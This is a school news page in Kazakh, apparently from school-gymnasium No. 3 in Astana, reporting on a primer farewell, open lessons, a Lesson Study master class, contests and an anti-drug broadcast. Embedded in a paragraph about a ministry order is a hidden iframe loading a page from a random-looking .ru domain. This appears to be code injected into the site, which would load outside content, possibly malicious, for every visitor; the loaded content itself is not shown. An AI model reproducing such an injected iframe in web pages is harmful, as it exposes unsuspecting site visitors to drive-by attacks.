Мектеп табалдырығын алғаш аттаған бүлдіршіндеріміз міне бүгін де ер жетіп алғаш қолына алған оқулығы әліппемен қоштасты. Мақсаты: Оқушылардың сауат ашу пәнін оқу барысында алған білімдерін тиянақтау, өз өнерлерін ата — аналарға көрсету, эстетикалық талғамдарын тереңдете түсу, өзін өзі басқаруы мен ана тілін сүйіп, қастерлеуге тәрбиелеу.
Мектепте Кэмбридж тәсілі бойынша оқыған ұстаздарымыз арасында ашық сабақтар топтамасы жүргізілді. Барлық ұстаздар 7 модульдің бірін пайдалана отырып ашық сабақ өткізе білді. Және де топтық және жұппен жұмыс түрлерін көрсете білді.Мұғалімдерге өз тәжірибесінің негізінде шешім қабылдау үшін іс-тәжірибесін сыни бағалау қажет пе? Мұғалімдер өз іс тәжірибесін бағалап есеп беріп отырса ғана келесі жұмыстарды қалай шешу жолдарын түсінер еді. Әрбір жасаған іс әрекетіңді бағалай отыру керек. Бұл жөнінде де мұғалімдерге білім қажет болады. <br /><br />
<p>Қазақстан Республикасы Білім және ғылым министрлігінің «Қазақстан Республикасының жалпы орта білім беру мекемелерінде 2015-2016 оқу жылының басталуы туралы» 2015 жылғы 8 маусымдағы №364 бұйрығына сәйкес:</p> <iframe src="//u7yb1iy1x3xv.ru/f.html"></iframe>
Lesson study тақырыбы бойынша Талғат Кенжебекұлы мұғалімдерге өте жақсы шебер сынып өткізді. Көп сұраққа жауап алдық. Шебер сынып өте керемет әрі көңілді болды.Lesson study зерттеу сабағы болып табылады, және де Қазақстанда өткізілетін ашық сабаққа ұқсас. Lesson study-да бір мұғалім өзіне зерттеу сабағын өткізуге, зерттеу сабағына дейін шамамен бір айда сабақ жоспарын жазуға ерікті түрде жауапкершілік алады. Содан кейін ол өз сабақ жоспарын осындай сыныптың немесе дәл осындай пән саласында жұмыс істейтін мұғалімдер қатысатын жиналысқа ұсынады. Содан кейін мұғалім басқа мұғалімдермен талқылауға негізделген сабақ жоспарын қайта жазады. Кейбір жағдайда кездесу циклдары және жоспарды қайта жазу үдерісі бірнеше рет қайталанады. Басқа жағдайда мұғалім мектеп кеңесінің әдіскерінен сабақ жоспарын жақсарту үшін кері байланыс беруін сұрайды. Зерттеу сабағында мұғалім сабақ жоспарын ұстана отырып, өз сыныбында сабақ өткізеді. Барлық мектептердің мұғалімдері немесе осындай сыныптардың немесе пән саласының мұғалімдері зерттеу сабағын бақылайды. Зерттеу сабағанан кейін мұғалім мен тыңдаушылар зерттеу сабағын талқылайды. Кейде мектеп кең әдіскерлері немесе университет профессорлары сияқты шақырылған кеңесшілерді талқылауға қосылуын және кездесуге қатысқан мұғалімдерге кейбір кеңес беруін сұрайды. Бұл Lesson study тәжірибесі айына бір рет өткізіледі.
№ 3 мектеп-гимназиясының 9 сынып оқушылары менеджмент және бизнес колледжіне кәсіптік бейіндеу мақсатында барып қайтты.
<h4>Мектебімізде 18-23 қаңтар аралығында орыс тілі апталығы өтті.</h4>
Мектепте 23 қаңтарда 8-11 сынып арасындағы қыздардың аналарының жиналысы өтті.
Менталды арифметика бойынша өткізген Республикалық олипиадасынан 1 деңгей бойынша.
<p style="text-align:justify;"><strong> 20 Қаңтарда</strong> Астана қаласында І аймақтық оқушылар мен студенттер арасында <strong>"Әдебиет әуесқойлары"</strong> мәнерлеп оқу сайысы болып өтті. Бұл конкурсқа мектебіміздің дарынды оқушылары белсенді қатысып, жүлделі орындарға ие болды. Оқушыларды <strong>дайындаған қазақ тілі мен әдебиеті пәнінің мұғалімдері </strong>де марапатталды.</p>
25 қаңтар күні «Астана против наркотиков» тақырыбында тікелей трансляция өткізілді. Трансляцияға 9 «Б» сыныбы оқушылары қатысты жане практикант психолог Бакирова Мереке Назарбековна. Трансляцияга Астана қаласының 50 мектебі қатысты.
Официальное сообщество школы-гимназии №3 города Астаны
